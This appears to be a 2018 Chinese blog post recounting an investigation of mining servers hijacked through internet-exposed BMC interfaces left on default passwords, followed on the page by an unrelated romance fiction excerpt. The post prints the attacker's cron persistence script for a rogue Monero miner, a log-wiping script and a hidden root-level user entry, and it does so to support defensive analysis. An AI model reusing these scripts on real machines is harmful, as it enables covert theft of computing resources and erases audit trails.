引子
安全这个东西,在没有事情发生的时候,基本不会有人愿意为它付费;当发生事情且严重影响到企业利益的时候,才会亡羊补牢。几年前端 CSDN密码泄露,估计大多数程序员都会中招;最近华住的资料泄露,吸引了不少目光,对于华住品牌的负面影响应当不小。当然,对于住不起星级酒店天天住海友汉庭的苦逼程序员来说,在这两次泄露事件中都中招。幸好以前在CSDN上面只问技术问题没有勾搭为数不多的程序员妹子,在汉庭的时候也是坐在床上或者蹲在马桶上写代码,没有偷偷摸摸开房,不然问题就大了。顺便说一下,亲身体验,星级酒店写代码的感觉其实没有在汉庭好。
如果是挖矿,网络安全问题带来的后果更严重,因为辛辛苦苦投入的设备、人力,经历了熊市的蛰伏,好不容易看到一丝曙光,最后换来的是给别人打工。当然,这个问题见仁见智了,肯定有很多人说这个太夸张了,是危言耸听。
唉,空谈误国。算了,按照老习惯,不谈形势,不谈理想,只讲亲身经历的案例吧。
背景
IPFS很火,虽然Filecoin不能开挖,但也有许多人准备组建小规模矿场。可能是眼红了前两年比特币的涨势,在实体经济不如人意的情况下,找点自救的路线。江南的某市,一个喜欢折腾的具有创新精神的小作坊老板,QQ昵称以A开头,姑且就叫他小A。他准备在自己的仓库里搞十台机器开挖。他之前也挖过比特币、以太币,觉得投入产出比太低。Filecoin既然大家都说好,那就试试吧。但硬盘并不便宜,投入这么大,也不是很舍得。怎么办?自己已经从爱到游戏的少年进化为业余热爱IT的青年,那就自给自足,网上淘二手货。
机缘巧合,和小A加了好友。网上聊了许久,他也咨询过我一些技术问题。虽然觉得他不会买真正成品的矿机,但因为其对技术一本正经的热爱,我也乐于回答问题。后来得知他买了10台的二手SuperMicro服务器,顺搭买了一些二手的硬盘。我问:“你用它挖Filecoin?不怕盘坏?”答曰:“便宜啊,一台才万把块钱,加在一起十来万而已。”我又问:”主网上线推迟,你就放在这里?“他发来一个笑脸,随即又说:”亏本的买卖不做。这个二手服务器,别看便宜,但性能强大。双路E5,用的是最具性价比的2670。DDR4内存贼贵,这个用DDR3,慢不到哪去。挖不了filecoin,那可以挖Burst,挖Storj,挖门罗。"他也很会折腾,自己装了Linux,按照教程装了好几个不需要依赖于GPU的挖矿程序。其中,也一步步编译了门罗币的挖矿程序,加入矿池进行挖矿。
过了一个月,我问他收益如何。他说Burst太垃圾,Storj没有数据,门罗还在挖着呢,似乎能跑赢电费。但挖得也不多,最近也比较忙,所以也没有怎么查看收益了。不过在我问这个问题之后,他登录了系统,看了一眼,截了一些图给我。同时说了一句:一台台查看,太麻烦了,还是你们的系统有集中管理好一点。
看了他发的截图,是ssh运行top的结果。他说,门罗币特别耗费CPU,当然,这个机器是拿来挖filecoin的,他也不想再折腾加GPU什么的,就先跑着吧。收益如何,他不是很想看,因为看一次就失望一次。每次看到这个CPU的利用率,每个核心都是100%,他反而觉得特别踏实——门罗币挖矿程序在挖矿呢。
异常进程
他发top截图给我的意图也许是展示自己有一定的Linux操作能力。但我却发现了一个异样的地方。大部分截图,都是以xmr开头的进程占据了CPU,但有一幅截图,显示的却是minerd耗光了资源。我把这个告诉了他。
过了一会儿,他说:“还真有这回事,以前注意过minerd这个名字。miner嘛,顾名思义就是挖矿程序,所以也没有特别在意。”接着,又补充了一句,难道这个有问题吗?
当我确认所有的机器都是他自己按照网上教程编译的程序之后,每台机器的步骤一模一样时,就告诉他这肯定有问题。“你不会自己单单在一台机器上面修改程序的名字,且你也不知道怎么修改。如果信得过我的话,让我远程连连看。”他爽快地答应了。
登录运行minerd的机器,用ps查看了一下进程,看了看minerd的参数:
minerd -a xmr-v8 --host http://xmr.pool.org --port 3333 --user 4JUd******
我问:“http://xmr.pool.org是一个矿池吗?你加入了这个矿池吗?”
他答:“哎呀,好像不对。我加入的是鱼池。好像是http://xmr.f2pool.com。”
“不好,你被黑了。”
“哥们,你开玩笑吧?怎么可能呢?我虽然是菜鸟,但没有用123456等弱密码啊。而且,我的机器都是连着路由器的,没有直接暴露给公网。”
被黑的原因成千上万,没有人能够百分之百的预防。当务之急是先赶紧处理,再找原因。通过小A 提供的远程桌面,我连到了10台机器上面,发现有3台都跑了这个minerd。立马把minerd给kill掉。但几分钟之后,它就又起来了。找到minerd所在的路径,把它拷贝一份到安全路径下,然后把原始的程序删除。计算minerd的SHA1/SHA256和MD5值,Google一下,没有找到任何记录。
minerd自动起来一般是定时任务所致。发现/etc/crontab里面有这行配置:
*/5 * * * * root /usr/sbin/monero
这表明每5分钟就要运行一下这个/usr/sbin/monero这个程序。显然这有大大的问题。打开/usr/sbin/monero,发现是一个简单的bash脚本:
if "date +%H
" -eq 10 && "date +%M
" -eq 30 ;then
pkill minerd
fi
cd dirname $0
if "ps ax | grep minerd -c
" -gt "1" ;then
exit
fi
if "ps ax | grep minerd -c
" -gt "1" ;then
exit
fi
sysctl -w vm.nr_hugepages=1000
作者注:user的钱包地址在这里就不贴出来了
nice -9 minerd -a xmr-v8 --host xmr.pool.org --port 3333 --user 4JUd**** --pass x -t $((cat /proc/cpuinfo | grep processor -c
/2)) 1>&- 2>&- &
脚本很简单,如果发现系统没有跑minerd,就把它跑起来。从参数分析,这个显然也是挖门罗币的,只是钱包地址被替换成了黑客的地址。
至于这个xmr.pool.org,其实是作者自己定义的一个域名。在/etc/hosts里面可以看有一条添加上去的DNS记录,对应的是217开头的一个IP地址。查询了一下,该地址位于俄罗斯境内。
小A赶紧发话:“快删除它!妈的,帮人干了这么多天的活!”
不过,黑客究竟是怎样入侵系统的呢?系统里是否还有其他痕迹呢?
日志分析
如果定位不了黑客入侵的方法,我相信挖矿程序还会被跑起来。所以我只能变身为一个侦探,帮忙看看这个问题了。
按惯例是先查找日志。/var/log/messages没有相关的记录。较老的messages文件(文件名带时间戳被归档的文件)也没有什么异常,但messages的第一条记录,其时间戳和之前归档的messages文件的最后一条记录,有较长的时间间隔(超过三天)。很显然有人动过手脚。
再查查其他日志,除了和messages类似的现象(有几天没有任何记录),没有其他发现。history命令也看不到异常的信息。
小A看我查了一堆日志,似乎也没有特别的收获,显得很焦急。“他把痕迹都清空了。没有其他办法了吗?”
“不知道是古龙说的,还是古龙巨说的,行走江湖,总会留下点痕迹的。别着急。再看看。“
文件修改时间
对于操作系统来说,文件的创建/修改时间也是分析问题的着力点。没有人会直接用代码去写硬盘——既然经过文件系统,那得怪怪听文件系统的指令办事。
于是,我查看了前面找到的有问题的文件(/etc/crontab、/etc/hosts等)的修改时间。定位到问题时间点为十几天前的下午3点。就这个时间点,对机器的文件进行了一次全盘检索,看那个时间点还有什么文件被动过。这一搜索,还颇有收获。其中发现了一个关键的文件,叫做/usr/src/exit,从名字看,似乎是和退出相关的。打开发现也是一个脚本,内容如下:
history -c
rm -f ~/.bash_history
rm -fR /home/support
rm -f /var/log/secure
rm -f /var/log/auto.log*
rm -f /var/log/secure
rm -f /var/log/audit/audit.log
rm -f ~/.*
rm -f /var/log/lastlog
echo -n > /var/log/messages
rm -f /tmp/tmp3*
kill -9 $$
全是清除历史记录的操作,包括命令记录,以及一些关键的日志文件。是说怎么日志不能直接查到记录呢。之前发现日志中丢失了好几天的内容,也得到了完美的诠释。
小A发来一个大拇指但只要入侵了系统,就会有蛛丝马迹。文件的修改时间戳就是蛛丝马迹。
这哥们有点郁闷,每天看到CPU跑得满满的,以为生活很充实,想不到是用自己的电为别人服务。他又说,不太可能啊,我的密码强度很大的,十几位,字母大小写和数字都有,他肯定猜不出来。难道我一定要用ssh密钥登录?
我又发了一个笑脸。网上聊天,如果不发笑脸,就感觉不舒服。可能我犯了笑脸综合症。我说,为什么你要用“他”?很可能是一个俄罗斯女黑客,继承前苏联女特工的种种本领,但生活窘迫,想通过挖门罗币来挣点可怜的学费。
他让我不要取笑他了。同时让我找找,别人是怎么入侵的,应该怎么防范。
多出来的用户
对应时刻的文件我都查找了一遍了。我也用了一些漏洞扫描工具对它的系统做了扫描。有一些无关痛痒的小问题,理论上不足以造成入侵。
于是,我又一次检查之前看到的异常脚本。虽然脚本已经删除,但我把文件单独备份了,以便于进一步分析。这次发现在/usr/src/exit中,有这么一句话:
rm -fR /home/support
这个不是日志目录。为什么要删除它呢?等等,这个在/home下面,那按照常理,应该有一个support的用户。于是,我打开了/etc/passwd,发现果然多了一条记录:
support:x:0:0::/home/support:/bin/bash
再打开和密码相关的文件/etc/shadow,发现果然有support用户的加密口令记录。看来黑客是通过support用户来登录ssh的。
小A问:为什么黑客要自己创建一个用户?不通过root来登录?
我答:可能他并不知道root密码。
他问:那他可以修改啊。
我答:修改了你不是马上就发现了吗?那他挖的币就少了。
彻底删除这个support用户。为了安全起见,我让他还是把全部密码都修改了一遍。同时让他再想想,有没有做过什么特别的操作,尤其是其中的三台机器。
一丝疑惑
过了一会儿,小A说:“感谢,实在不好意思,让我费心了。今天生意不好,早点回家休息了。机器肯定得继续开着吧,以后得多留意一点了。回到家里面,也得时不时连线看一下。”
我突然有了警觉。不是没有把机器暴露在公网吗?机器既然放在他仓库的货架上,那回家怎么看?用Teamviewer?
他也发了一个笑脸:“这个还不简单?路由器配置端口转发啊。把一个节点的ssh端口转发出去。虽然我不会编程,不太懂这些软件的原理,但这类基本操作,是没有问题的。密码我是特意设置的,没有用我的常用密码,且强度足够。”
既然有端口转发,那机器一定程度就暴露在公网中了。并不是机器本身没有公网IP就安全。我又追问:“转发了其他端口吗?”
他想了想,说:“除了SSH,好像我也不需要用其他端口来控制了。应该没有吧。”
姑且相信他的话。我又提醒他,是否有内鬼。他怒道,怎么可能,只有一个打杂的小姑娘,难道是她?
他断掉远程桌面之前,我简单把排查的过程发给了他,经过他的允许,把相关脚本拷贝出来。我告诉他每次远程连接,我们都会做一条记录,不做不该做的事情。这是职业操守,也是在圈子里面混的本钱。
真相大白:意想不到的入口
过了几个小时,小A又发了一条消息。说那几个有问题的节点,他自己不放心,怕清理得不干净,所以准备把系统都重装一下。但网速不好,ISO镜像传过去都花了好久。叹道,自己DIY并不轻松,也许用现成的系统会更好。
我有点吃:“等等?重装?你不是回家了吗?”
“哎呀,你这个不明白了,我用IPMI啊,远程就可以控制BIOS,安装系统。你是搞这块的,不会没有听说过吧?服务器主板都带有这个,那个芯片好像叫做BM。市面上那些便宜的矿机,是不可能带这个东西的,哈哈,买二手的就是赚。”
“BMC,不是BM,更不是ByteMaster。”
“哦,对。有这玩意儿,远程控制更轻松。”
“但……我的意思是,你在家里怎么重装?远程控制IPMI?网络不通啊!”
“我做端口映射啊!BMC不是有专门的IP吗?BIOS里面配置配置就可以啦。能通过浏览器访问,再在路由器上面做端口映射出来。这有问题吗?”
“你啥时做的映射?”
“一个月前。”
“映射了几台机器?”
“全部。”
“啊?????“我傻眼了。再一问,他把一台机器的BMC web管理端口,通过公网IP的443转发出来。又把其他几台机器的BMC web端口转发出来,端口号从444开始,以此类推。
我觉得似乎已经找到问题的真相了。又请求他的远程连接,我上去看一眼。浏览器访问BMC管理界面,其JAVA版本 KVM Console的界面,都停留在控制台输入密码的地方。
“除了重装的三台机器,其他机器,最近一个月,有关过机,有停过电吗?”
“当然没有了。收益再小,挖矿也不能停。我对矿工这个业余爱好还是有信仰的。”
我沉默了一下。“你用IPMI登录过shell吗?”
”让我想一想……哦,好像有过,似乎有几台网络配置有点问题,ssh连不上,就通过IPMI登录过。”
“一共几台?”
“忘了。可能两台,可能三台……也许三台。”
我能感到空气在凝固。他似乎也觉察到了不对。
我又试探性地问了一句不想问但不得不问的话:“BMC的Web管理界面,你有修改默认密码?”
“这个……这个需要修改吗?”
”难道你只认为root用户才需要修改密码?都通过公网转发了,不修改默认密码的结果,你是知道的。这样,他能用IPMI的方式通过BMC轻易进来,相当于他的键盘和显示器直接连在你的机器上面,且你帮他主动输入了密码。做个啥,还不容易?“
”哦……“也许他已经恍然大悟了。事实的真相基本已经被揭露。
”还有两个问题。世界上这么多IP,他怎么偏偏连我的IP,还知道我有BMC,还知道我没有修改密码?哪有那么巧的事情!为什么不改BMC的密码,为什么不改root用户的密码?改了岂不是彻底控制了我的机器!“
我叹了一口气。”第一,还真有人那么无聊。IP一个一个地扫,端口一个一个地扫。但没有人傻到会手动做这个事情。他们一定会用程序来自动做。通过连接端口,http请求的返回结果,能通过程序轻松地猜到是什么服务。至于服务器主板,主要就是那几家公司在生产,所以默认密码是很容易知道的。一台电脑,就可以干许多意想不到的事情,还不容易被发现,因此,每天网络上面都有大量进行试探性连接的数据包。也许华尔街的金融IT高手没有机会扫到你的机器,但在圣彼得堡读书的一个学生,会碰巧发现你。“
”第二,很明显,这个人只是想用你的计算资源挖矿,本身对你的隐私数据不感兴趣。修改了密码,反而你会更容易发现问题,仔细一排查,重装了系统,刷了固件,那他的利益也会受到影响。“
他恍然大悟。于是,他把BMC的密码赶紧修改,同时把相关端口映射也禁掉了。
后记
之后小A暂时没有遇到新问题。他只是感慨,挖矿收益不高,自己十台机器也挣不了多少钱,看来只能等Filecoin了。同时又说黑客一下子控制上千台机器,积少成多,赚得肯定是盆满钵满。自己也想学点编程,跑到圣彼得堡把那个黑客追踪到,如果是个男的就揍一顿,如果是个女的就娶回来,拿自己做小生意赚的钱来养她。
他总是说不好意思,干脆转两个XMR给我。我说算了。后来他看到了我的专栏,说内容太少,也没有啥干货,看我上次追查问题挺有意思,让我写出来,吸引一下读者,增加一下流量。我说过于技术化,最多多两三个关注者而已。当然,他的要求是,不要说他是做什么职业的。作坊虽小,但具体干活的内容还是保密。
其实类似的问题排查还很多,BMC导致的问题也有好几次。其实,很多攻击也用不到类似心脏滴血的漏洞,往往就源于一些非常简单的原因——大多是用户的设置,比如不修改默认密码。比如:
root@prstorage~$netstat -anp | grep EST
tcp 0 52 10.1.1.15:22 10.1.1.106:61527 ESTABLISHED 4645/sshd
tcp 0 0 10.1.1.15:60693 61.***.***.***:2922 ESTABLISHED 2385/netstat -an
netstat查看网络连接状态,似乎没有啥问题,除了内部的一个ssh连接,一切都正常。等等,怎么还有一个netstat进程的连接呢?再运行netstat,还有,连接仍然是那个连接。揉揉眼睛,发现这个netstat压根不是我们自己运行的netstat。
就此打住。再讲就讲不完了。因为都是商业存储客户,所以细节都不便透露,更不能写成口水文章来骗点击了。只能总结一下,什么样的错误应该避免,遇到了问题,应该怎么排查。
发布于 2018-11-10 23:45
对恋人渐渐失望是什么感觉?
小尘
我一个人做手术的时候,小护士把偷拍的照片拿给我看。「快看,是不是很登对。」照片上,我的老公抱着他的初恋女友,像是在呵护自己的珍宝。我看着看着,也笑起来,赞同的点头说道:「是挺般配的。」01确认怀孕那天,我查出了胃癌。原来近期频繁的胃疼,呕吐,不单单是因为有了孩子。诊断书出来那天,我坐在外面的椅子上发呆。孩子,是保不住的。我跟程潜的聊天记录还停留在一周前。我:老公,最近总觉得胃不舒服,你什么时候能回来啊?他已经出差一周了,说是去见一个大客户。而乔语给我发消息:「姐~再借姐夫一个礼拜啊,离婚官司太难搞了。他是专业的,我只信任他。我相信亲爱的姐姐,你是不会介意滴~」附带消息的,还有一段视频。视频里,程潜挽着衣袖端着粥。他无奈地看向镜头:「别拍了,好好吃饭!不要回头胃痛吃药,又嚷嚷着苦。」程潜对乔语,总有无限的包容,无奈,宠溺。不,应该是说所有人对乔语都是这样的偏爱,纵容。包括我爸妈。02乔语是八岁的时候来我家的,她是被我爸妈领养的。她从小就长得很漂亮,个性活泼,大大咧咧,充满了活力。而我不太爱说话,内敛又害羞,个性平平,没什么存在感。如果说乔语是明丽的玫瑰,那我就是深藏在草丛里的蒲公英。她张扬而明媚,我低敛而沉默。从小到大,乔语总是用极其光明正大的方式,要走我所拥有的一切。「爸爸~姐姐的鞋子更好看,我想穿。」「妈妈,拜托拜托,可不可以把那条蓝色的裙子给我。」我爸妈,总是象征性地为难一下,象征性地征求我的意见。我沉默地点头同意,他们夸我就是懂事儿。我拒绝的话。他们会说:「你是姐姐,该让着一点妹妹的。小语她不是爸妈亲生的,心理脆弱敏感,我们该对她更好一点的。蕴蕴,爸爸妈妈相信你会理解的,对不对?」我不想理解啊,可是我更不想爸妈为难。我一直懂会哭得孩子才有糖吃,可我妈妈一直有偏头痛,我爸爸工作又那么忙。我不想为了一双鞋子,一条裙子闹得他们心烦。03上高中的时候,乔语发现我在日记里写自己喜欢程潜。她嘻嘻哈哈地说:「全校有一半女生都喜欢程潜,你这有什么好害羞的。不过程潜有什么好的,脾气差劲,一天到晚拽拽的,搞不懂你们怎么都喜欢他。」乔语说,要帮我追程潜,撮合我们两个。篮球场上,她勾着程潜的肩膀,说要跟他学习打篮球。我坐在边上,帮他们看书包。结束以后,程潜装模作样地踢乔语:「又菜又爱玩儿,犯规了还抱着篮球往前跑!」「我是女孩子啊!哪里知道篮球规则。」乔语挽着我撒娇:「我哪有姐姐那么厉害!什么 NBA,CBA 的,都知道得特别多,哎呀,我就是笨嘛,臭程潜,你还嫌我!」我是会看篮球赛的,三步上篮,走步犯规,这些很基础。程潜那么喜欢篮球,最尊重规则。可是他却笑看着乔语抱着篮球满场跑,举着她的腰,让她投篮。原来,喜欢一个人,是可以允许她犯规的。04大二那年程潜给乔语正式表白了,他足足准备了半年,买了一枚钻戒。乔语哭着说:「程潜!我不能跟你在一起。我姐喜欢你,我要是跟你在一起,那就太对不起她了。你知道我是被领养的,我对不起谁,都不能对不起我姐!」「我他妈管她喜不喜欢我!」程潜看着我暴怒道:「乔知蕴!我让你喜欢我了?还是说你喜欢我,老子这辈子就打上你的标签,必须孤独终老了!」那是我第一次见程潜这么愤怒,他双目通红,痛苦的几乎要撕碎整个黑夜。乔语,你不想跟程潜在一起,却跟他暧昧了这么多年。喝奶茶用一个吸管,吃饭用一双筷子,挽着他的胳膊招摇过市。别人问她的时候,她总说跟程潜是兄弟。可是程潜酒醉吻她的时候,她从不推开。那晚以后,乔语出国了。我们家根本负担不起她留学的费用,是她同专业的学长出的钱。后来程潜喝酒喝到胃出血,是我把他从酒局上拖出去送到医院的。再后来,我们就在一起了。结婚那天,乔语回国参加我的婚礼。她穿着一条露背红裙,摇曳生姿,明艳动人。敬酒的时候,她的酒杯撞到程潜的酒杯,忽然就落了泪。「哎呀,失态了,姐姐大婚,我太开心了。」乔语把杯子里的酒一饮而尽,泪光闪烁。她还要喝,程潜拉着我去了别桌。晚宴后,我看到程潜抱着乔语哭:「是不是只有娶她!你才肯回来见我一面!」我穿着旗袍,端着解酒的蜂蜜水,站在外面,觉得夜凉如水。05我以为程潜没有八分爱我,总有五分的。可这一切,都是我以为的。在爱情里,自以为是的那个人最可悲。乔语走之后,我跟程潜很长一段时间没再联系过。我在养老院做义工,认识了程潜的奶奶,结下了忘年交。程潜跟我遇到的时候,我才意识到我们之间还有这样的缘分。那个时候他忙着打工,忙着学业。后来他忙着打拼,忙着在这个城市创出自己的天。我跟奶奶的感情很好,借着这道缘分跟程潜越走越近。我们的感情,是什么时候催化的呢?也许是那个瓢泼大雨的夜晚,他帮我撑伞,自己却淋湿了半边身子。又或许是某个深夜,他从便利店里买关东煮给我,每一样都是我爱吃的。或者是我加班到凌晨,一下楼就看到程潜睡在车里等我。程潜毕业以后进入律师圈,很拼,陪客户喝酒喝到胃出血。奶奶给我打电话,拜托我去照顾他。他在医院里躺着,脸色苍白而疲惫。我提着粥去看他,沉默不语地看他吃完。程潜问我:「乔知蕴,你还喜欢我吗?」「那你呢,还喜欢乔语吗?」我反问他。他想了想说:「都过去了。」程潜说,我就信了。我们顺理成章的恋爱,结婚,也是有过甜蜜的时候。他给我买两克拉的钻戒,风雨无阻地接送我上下班。就算晚上有饭局,也一定会先陪我吃晚饭再出门。结婚那晚,我跟他说:「程潜,你跟乔语说的话我听到了,如果你跟我结婚只是为了看她一眼,那我们现在就离婚。」我是很爱程潜,但我不能卑贱到舍弃自己。程潜抱着我解释了很久很久,他说自己只是借着酒意,去跟过去的不甘心释怀。程潜说:「知蕴,不会有下次了,请你原谅我。」男人的嘴,骗人的鬼,多可惜我当时没有听过这句金玉良言。在这段感情中,程潜骗过了自己,也骗过了我。我们恋爱两年,结婚三年,抵不过乔语的一个回眸。程潜把乔语带回了我们家,那个时候我坐在病房里等待做流产手术。06我跟程潜说要出差一阵子,他让我注意安全。程潜去找乔语那段时间,我在家里装了监控。我有一只叫做饭饭的猫,是我的粉丝送我的,我很爱它。我很怕自己哪天昏在外面,没人管饭饭的生死。装了监控以后,我住院后就拜托阿姨上门喂饭饭。「啊啊,程潜!有猫啊!」乔语一进门就尖叫起来,跳到程潜怀里勾着他的脖子。饭饭迈着猫步仰着脖子,打量着乔语,在龇牙。「没事儿,饭饭不会伤害你的。」程潜表情有一瞬间的凝滞,很快地推开了乔语。乔语住在了次卧里,说是找好房子就会搬出去。她像是巡视领地一样,把家里的每一个角落都看了一遍。饭饭跟在她身后,盯着她。乔语轻蔑地看了一眼饭饭,根本没一丝害怕。原来……她害怕猫是装的,为了阻止爸妈给我养猫,她居然装了这么多年。乔语要去厨房。「乔语!」程潜阻止乔语用厨房,语气有些急了:「别动知蕴的厨房!」我在一个美食节目做策划,兼职做美食主播。我非常非常不喜欢别人动我的厨房,就像程潜不喜欢别人进他的书房。在这一点上,我们很尊重彼此的生活习惯。乔语很委屈的哦了一声。但我知道,她一定会动我的厨房。乔语,她会不断地试探程潜的底线,试探我在程潜心目中的位置。当我看到她故意摔碎我跟程潜的情侣杯子,蹲下去把手刺破以后,我没有一丝一毫的诧异。乔语,她就是这样的人。她可以不要,但是也绝不许别人拿走。「我不是说过!不要进厨房吗!」程潜看到破碎的杯子以后,神情很不好看。这对杯子对我们意义很深刻,是我们在欧洲蜜月旅行的时候买的。两个杯子,一高一矮,一大一小。挨在一起的时候,像是情侣在拥抱。同时注入热水以后,靠在一起的杯子会轻微碰撞发出清脆的叮叮声。有一次程潜惹我生气,我不理他。他就一直往杯子倒热水,一晚上我耳边都是叮叮叮的声音。「不要倒了!」我忍不住去推他。「你终于肯跟我说话了。」程潜一把抱住我,咬着我的耳朵:「老婆,对不起,我保证绝对绝对不会再惹你生气了。」从那以后,这一对杯子就成了我们的道歉语。「程潜,你不关心我的手破了,却只是在关心一个杯子。」乔语伤心欲绝地看着程潜,眼泪不断的往下流,仿佛难以置信程潜居然这么对她。她扑进程潜的怀里,痛苦地说道:「难道你还在怪我!当初我也不想折磨彼此,才选择出国的。我只是乔家的养女,小心翼翼讨好我姐,讨好爸爸妈妈,才能获得一点宠爱。你让我拿什么跟她争!」程潜盯着地上碎裂的杯子,终究是轻轻抱住了乔语,「碎了就碎了吧,别哭了。」我看着手机里相拥的两个人,在心里轻轻说。程潜,你说得对,碎了就碎了吧。07我准备做流产手术那一晚,护士问我有没有家属陪同。我说没有,她表情有一瞬间的心疼,很温柔地安抚我说医院有陪护人员,请我放心。我对她笑了笑。据说顶级的孤独就是一个人做手术,我倒是觉得还好。孤独,对于我来说是常态。这个孩子只有两个月,注定与我无缘。昨天打电话给妈妈的时候,电话那头听到了乔语的欢笑声。「妈妈!快来啊,这个也太逗了。」乔语亲昵欢快的喊着她。「蕴蕴,妈妈先去看电视了,一会儿再说。」妈妈急匆匆地挂断了电话,没有给我说出口的机会。其实,早就习惯了。我不善言辞,没有乔语的八面玲珑。她总是能把爸妈哄的开开心心。也好,我死之后,爸妈也有人陪,不至于太痛苦。在病房等候,小护士为了缓解气氛,跟我说说笑笑的。「蕴蕴姐,刚刚在隔壁病房偷拍了一张。」小护士把照片偷偷给我看,小声说道:「快看快看,俊男靓女诶~是不是很登对,男的超级帅,超级温柔的。他老婆好像是怀孕了,情绪不稳定一直在哭,她老公一直抱着她安抚她。」照片上,程潜抱着乔语,神情温柔,眼神宠爱,像是在呵护自己的珍宝。我看着看着,也笑起来,赞同的点头说道:「是挺般配的。」「不过我觉得蕴蕴姐你更漂亮,跟你相处特别舒服,我们护士站的人都抢着来帮你做检查。嘿嘿,这次又是我猜拳赢了。」小护士年纪不大,很活泼可爱的性格。「乔知蕴?」一个穿着白大褂的医生走进来,身后还跟着好几个医生护士。他有一双很漂亮的眼睛,摘了口罩以后,露出一张非常斯文英俊的面孔。我倒是很吃惊,没想到我的主治医生这么年轻。前阵子这位医生在外出差,我的病例他都是远程看的。据说这是本地最好的外科手术医生,这几天小护士还宽慰我,说我情况特殊,但是有宋医生为我主刀,我一定能康复的。小护士倒是很怕他,立马不敢说笑了。宋医生看了看病历,对一旁的医生说道:「我跟着一起进手术室。」对方似乎有些诧异,嘴唇动了动似乎想说什么。我躺在床上,小护士把我推出去。出去的时候,我余光扫到隔壁病房的人出来了。「小语,别哭了,对孩子不好。医生说了,如果这个孩子不留下,你将来很难再怀孕。我希望你好好考虑。」程潜耐心的声音传过来,他在哄着乔语。我一下子就紧张起来,生怕他看见我。我不想在人生最后的阶段,还要经历这样鸡飞狗跳的场面。老公陪着别人住院,而我怀着他的孩子,准备做流产手术。然后我流产,胃癌的,活不久的事情闹得人尽皆知。那样的场面,我想想都觉得可怕。越怕什么,越来什么。好巧不巧,推我的小护士手滑了一下。我的车子撞了一下程潜。「稳一点!」宋医生侧身挡住了程潜,他一手抓住床沿,将我的床推开。我悄悄抓起被单,遮住了脸。「程潜,你没事儿吧?」乔语的声音从背后隐约的传过来,「看什么呢?这么走神?」……进入手术室以后,我忽然就紧张起来,浑身冰冷。泪水不断地往外流,下意识地去摸小腹。「等你康复以后,孩子还会再有的。」宋医生站在边上,俯视着我,语气淡淡的。我哭得更厉害了,不会的,我不会再有孩子了。「可是我快要死了,宋医生,我好害怕。」我不知道为什么这一瞬间,就崩溃成这样。完全无法控制情绪,甚至冷到颤抖。宋医生往前站过来,牢牢的握住我的手,然后用消毒巾给我擦眼泪。他的手很有力量,很温暖。「你不会死,我为你做手术,你就不会死。」他看着我的眼睛,一字一句的说道:「将来,你会有一个幸福的家庭,有一个可爱的小孩子。所有人,都会非常非常的爱你。」我喃喃自语,「真的吗?只爱我吗?」「对,只爱你。」宋医生捂住了我的眼睛,「好了,放松,放松。」恍惚之间,我像是做了一个轻柔的梦。梦里,我爱人的,只爱我。08做完手术那天,我睁开眼看到手机上好多未接来电。微信聊天框里,全是程潜发来的消息。「老婆,等你这次出差回来,我们要个宝宝吧。」他拍了一张照片,显然是在逛母婴店。照片的一角,露出了乔语的胳膊。「老婆,工作很忙吗?怎么没接电话。」「出什么事儿了?消息也不回,电话也不接,是生气了吗?」「我这几天是有些忙,等你回来我们一起去度假好不好?」一条又一条的消息,一个又一个的未接来电。程潜,他是着急了吗?我打开家里的监控看了看。程潜在客厅里焦急地踱着步,不停地给我打电话发消息。乔语走过来安慰他:「我姐又不是小孩子了,估计是手机没电了吧。」「她不是那种不细心的人!」程潜的脾气有些暴躁地说道:「不管有多忙,她都会第一时间给我回电话的!从昨晚到现在,我根本联系不上她。」乔语被程潜的语气惊到了,她愣了愣,抿着嘴显示出几分隐忍。「程潜,房子我找好了。」乔语沉默了一下说道。程潜看了她一会儿说道:「好,我帮你搬家。」「程潜!你现在是为了乔知蕴不接你电话,所以在跟我生气,在跟我发脾气吗?」乔语沉默了一瞬间,忽然爆发起来,她冷笑着说道:「你现在,是要跟我说,你爱你老婆爱得发疯!一时一刻都离不开她吗?昨晚那个吻,又算是怎么回事儿!」我听到这里愣了一下,调出昨晚的监控记录看了看。时间是凌晨一点,程潜还在给我打电话。他应该是失眠了,桌上摆放着酒杯。程潜靠在沙发上,闭着眼睛。乔语穿着一条单薄的真丝睡裙,凑过去轻轻吻住他。程潜很自然地去回应她,动作很炙热。「程潜,承认吧,你爱的还是我,乔知蕴只不过是我的代替品。」乔语对他说。程潜猛地睁开眼睛,盯着乔语看了半秒,推开了她。「看得这么认真,叫你三遍了。」宋医生忽然伸手在我眼前晃了晃,看了一眼我的手机,语气微微一顿:「抱歉,无意窥探你的隐私。」我关掉了监控,脑子有那么一会儿的空白。短短几秒钟,我好像想了很多,又好像什么都没想。有一种情绪,在慢慢抽离。细微又缓慢的痛,抽丝剥茧不过如此。「宋医生,我想出院一趟,回家收拾一下东西。」我抬头看着宋医生,轻声说:「我现在最放心不下的是我的猫,它叫饭饭。我想回去把它带出来,给它找个好归宿。」手术的时间已经定了,我要安排好后事,静静地离开。「我就是个不错的归宿,你可以暂时把饭饭托付给我。」宋医生看了看时间说道:「正巧我要下班,送你一程。」我一时间有些窘迫,想拒绝。宋医生却敲了敲手表说道:「乔小姐,医生的时间很宝贵的,十五分钟,地下车库等你。外面凉,多穿个外套。」他大步离开,没有给我拒绝的机会。站在门口的小护士贴着墙边,宋医生一走,她就溜进来。「蕴蕴姐!现在整个医院都传遍了!宋医生喜欢你!」小护士脸上兴奋的都充血了,激动地说道:「我的苍天呐,铁树开花,枯木逢春!太阳打西边出来了!原来宋医生真的喜欢女人啊!」我愣住了,连忙说道:「我才跟宋医生见过一次,小慧你别瞎说。」小护士特别坚定地说道:「没错的!宋医生从不跟患者有任何瓜葛,可是昨晚你做完手术睡着以后,他在你床边坐了一夜。我正好值夜班,偷偷瞄过一眼。宋医生跟个望妻石一样,两个小时什么都不做,就盯着你看。这要不是喜欢你,就是你欠了他巨款!」09坐宋医生的车,我下意识的要去后排。宋医生给我拉开副驾驶的门,「我没女朋友,放心坐。」我被他这么一说,想到小慧的话,更尴尬了,只能默默的坐着。一路上如坐针毡。贸然开口问人家是不是喜欢我,这样显得多尴尬,还是装作不知道吧。「小慧那个大喇叭,没告诉你,我昨晚在病房守着你吗?」宋医生打着转向,眼睛盯着前面,若无其事的说道。我感觉到血液往脸上涌动,实在是不擅长应对这样的场面,手脚都有些僵硬。「宋医生,谢谢你。」我犹豫了一下说道:「谢谢你的关心。」宋医生扭头看了我一眼,似乎是轻笑了一声,我根本不敢看他。好不容易到了家,我立马下车。「乔小姐,我在车里等你,直接把饭饭放到这里。」宋医生把一个猫包递给我。我愣住了,饭饭从没有出过门,我仓促之间都没有给它准备猫包。……回到家以后,没想到程潜居然在。他见到我,也愣住了,